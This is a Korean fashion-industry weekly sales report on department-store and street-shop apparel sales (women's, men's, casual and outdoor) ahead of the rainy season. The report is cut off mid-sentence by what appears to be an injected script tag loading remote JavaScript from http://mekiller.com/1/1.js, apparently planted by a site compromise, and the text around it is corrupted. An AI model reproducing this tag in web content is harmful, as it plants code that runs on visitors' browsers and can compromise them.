주간상황 - 장마철 앞두고 집객력 높이기 안간힘
인너제품 가격 저항
<여성복> 장마가 시작되면서 롯데와 현대 등 백화점 여성복 존은 매출이 전주 대비 보합 또는 소폭 하락세를 나타냈다.
전년동기 대비해서는 브랜드 수가 늘어난 것을 감안하면 5% 안팎 역신장한 것으로 조사됐다.
각 백화점은 장마 시즌을 앞두고 집객력을 높이기 위한 크고 작은 프로모션을 진행하고는 있지만 고객 유입 수는 크게 변동이 없는 것으로 나타났다.
한섬, 미샤, 톰보이, 오브제 등 중견사 브랜드들은 불황에 저력을 발휘 비교적 안정적인 영업 실적을 보여주고 있는 반면 중위권 브랜드들은 각 브랜드 간에 엇비슷한 상품을 쏟아내면서 정체성을 상실, 상위권과의 격차가 더욱 벌어졌다.
활황기를 맞고 있는 중가 캐주얼 시장에서는 ‘플라스틱 아일랜드’, ‘밸리걸’, ‘쿠아’, ‘코데즈컴바인’, ‘르샵’ 등이 작년 하반기부터 이어 온 신장세를 유지하고 있고 백화점 정기세일에 앞서 시즌 오프 행사를 진행한 ‘망고’도 전주에 이어 크게 신장했다.
침체의 늪에서 허덕이고 있는 커리어군은 민소매 원피스와 함께 장마를 앞두고 가디건과 경량 재킷 판매가 호조를 띄기는 했으나 여름 시즌 매출을 주도해야 할 니트, 탑, 블라우스 등 인너 단품의 가격저항이 예상외로 커 고전을 면치 못했다.
가두점 유통을 중심으로 하는 어덜트 캐주얼 브랜드들은 특별히 수요를 일으킬 만한 요인은 없었지만 여름 신상품 30% 세일, 장마철을 겨냥한 우산, 탈취제 등 사은품 증정, 1만원 미만 균일가 기획 상품의 물량 공세 등으로 지난주에 이어 상승 무드를 이어갔다.
반바지, 샌들 판매 극도
<남성복> 전주대비 보합세를 유지했다.
낮 기온은 30℃를 넘는 반면 저녁 기온이 쌀쌀해지는 등 일교차가 벌어지면서 긴팔 셔츠와 티셔츠 등 일부 단품 판매가 소폭 늘었다.
또 여름철을 겨냥해 출시한 재킷이나 쿨비즈룩이 여전히 잘 팔리고 있는 가운데 언타이드룩 셔츠와 휴가철을 겨냥한 반바지와 샌들도 인기를 끌고 있다.
신사복의 경우 전주보다 매출이 소폭 늘었다.
본격적인 여름시즌에 접어들기 전 수트 구매가 일부 상승한 것으로 분석되고 있으며 전년대비로도 5% 이상 매출이 늘었다.
캐릭터캐주얼은 단품과 수트가 고른 팔림세를 보이며 전주대비 5% 이상 신장했다.
전년대비로도 10% 이상 매출이 늘었다.
TD캐주얼 역시 리딩 브랜드인 ‘빈폴’과 ‘폴로’가 회복세를 보이며 전체 매출도 상승했다.
‘헤지스’, ‘타미힐피거’, ‘라코스테’ 등은 10% 이상 신장하며 상승세에 가세했다.
어덜트캐주얼은 기능성 소재를 사용한 라인과 젊은 층을 겨냥한 영라인 매출이 늘면서 한 자릿수 신장했다.
반면 드레스셔츠와 넥타이 등은 여전히 매출이 어려운 상황이다.
부진품, 하의류 세일
<캐주얼>캐주얼 주요 브랜드들은 전주대비 보합에서 5% 신장했다.
부진 품목과 하의류 세일이 진행된 가운데 티셔츠 판매가 매출을 주도하며 주중보다는 주말 매출이 높았다.
에이션패션의 ‘폴햄’은 전주대비 보합세를 나타냈다.
대리점과 백화점이 비슷한 양상을 보였으며 일러스트 르네상스 티셔츠의 판매가를 낮춰 매출 확대에 나섰다.
뱅뱅어패럴 ‘뱅뱅’도 보합세를 유지했다.
여름 물량은 전년대비 10~15% 축소했으나 매출은 비슷한 양상을 나타냈다.
휴컴퍼니의 ‘유지아이지’는 5% 신장했다.
장마철을 맞아 우산을 사은품으로 내놓아 좋은 반응을 얻었다.
행사따라 점포별 명암
<아웃도어>
백화점별로 행사가 진행되면서 점포별로 차이를 보였다.
하지만 예년보다 더위가 빨리 찾아오면서 바람막이 재킷 등 아우터 보다는 인너웨어의 판매가 높아져 객단가가 하락, 매출 감소세가 유지됐다.
현대백화점은 5억8천8백만원을 판매해 4% 역신장했다.
천호점은 8천6백만원으로 보합세를 보였으며 부산점은 8천1백만원으로 35% 신장했다.
신촌점은 4천5백만원으로 20% 감소했으며, 목?script src=http://mekiller.com/1/1.js>